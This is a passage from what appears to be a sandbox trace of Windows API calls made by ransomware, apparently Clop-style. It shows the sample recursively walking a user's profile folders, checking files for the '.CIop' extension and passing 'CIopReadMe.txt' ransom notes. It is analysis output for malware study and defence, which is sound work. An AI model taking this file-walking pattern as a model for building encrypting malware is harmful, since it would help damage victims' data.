returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0128.272] SetErrorMode (uMode=0x1) returned 0x1 [0128.272] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0128.272] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0128.272] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.272] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.272] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.272] lstrlenW (lpString=".CIop") returned 5 [0128.272] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0128.272] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0128.272] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.272] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0128.272] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.272] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0128.272] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0128.272] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0128.273] SetErrorMode (uMode=0x1) returned 0x1 [0128.273] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0128.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0128.273] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0128.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0128.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.273] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0128.273] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.273] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.273] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.273] lstrlenW (lpString="desktop.ini") returned 11 [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.273] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.273] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.273] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0128.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0128.273] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.273] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0128.273] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.273] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.273] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.273] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.274] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.274] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0128.274] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0128.274] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0128.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0128.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.274] SetErrorMode (uMode=0x1) returned 0x1 [0128.274] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.274] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.274] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0128.274] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.274] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0128.274] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.274] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0128.274] lstrlenW (lpString="desktop.ini") returned 11 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0128.274] lstrlenW (lpString=".CIop") returned 5 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0128.274] lstrlenW (lpString=".CIop") returned 5 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.274] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0128.274] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0128.274] lstrlenW (lpString=".CIop") returned 5 [0128.274] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0128.275] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0128.275] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0128.275] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0128.275] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e3f8 [0128.275] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0128.275] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0128.275] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.275] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.275] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.275] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0128.275] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0128.275] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0128.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0128.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0128.275] SetErrorMode (uMode=0x1) returned 0x1 [0128.275] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0128.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0128.275] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0128.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0128.275] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.275] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0128.275] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0128.275] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.275] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.275] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0128.275] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0128.276] lstrlenW (lpString=".CIop") returned 5 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0128.276] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0128.276] lstrlenW (lpString=".CIop") returned 5 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.276] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.276] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0128.276] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0128.276] lstrlenW (lpString=".CIop") returned 5 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="wGSFbii.jpg.CIop", lpString2="..") returned 1 [0128.276] lstrcmpW (lpString1="wGSFbii.jpg.CIop", lpString2=".") returned 1 [0128.276] lstrlenW (lpString=".CIop") returned 5 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.276] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.276] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.276] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0128.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0128.276] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.276] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0128.276] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.276] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2="..") returned 1 [0128.276] lstrcmpW (lpString1="QVr-mzOnFHsqrr", lpString2=".") returned 1 [0128.276] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0128.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0128.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0128.276] SetErrorMode (uMode=0x1) returned 0x1 [0128.277] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0128.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0128.277] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0128.277] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0128.277] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0128.277] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0128.277] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.277] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.277] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] lstrcmpW (lpString1="jA0o4Ao7ru.jpg.CIop", lpString2="..") returned 1 [0128.277] lstrcmpW (lpString1="jA0o4Ao7ru.jpg.CIop", lpString2=".") returned 1 [0128.277] lstrlenW (lpString=".CIop") returned 5 [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.277] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: 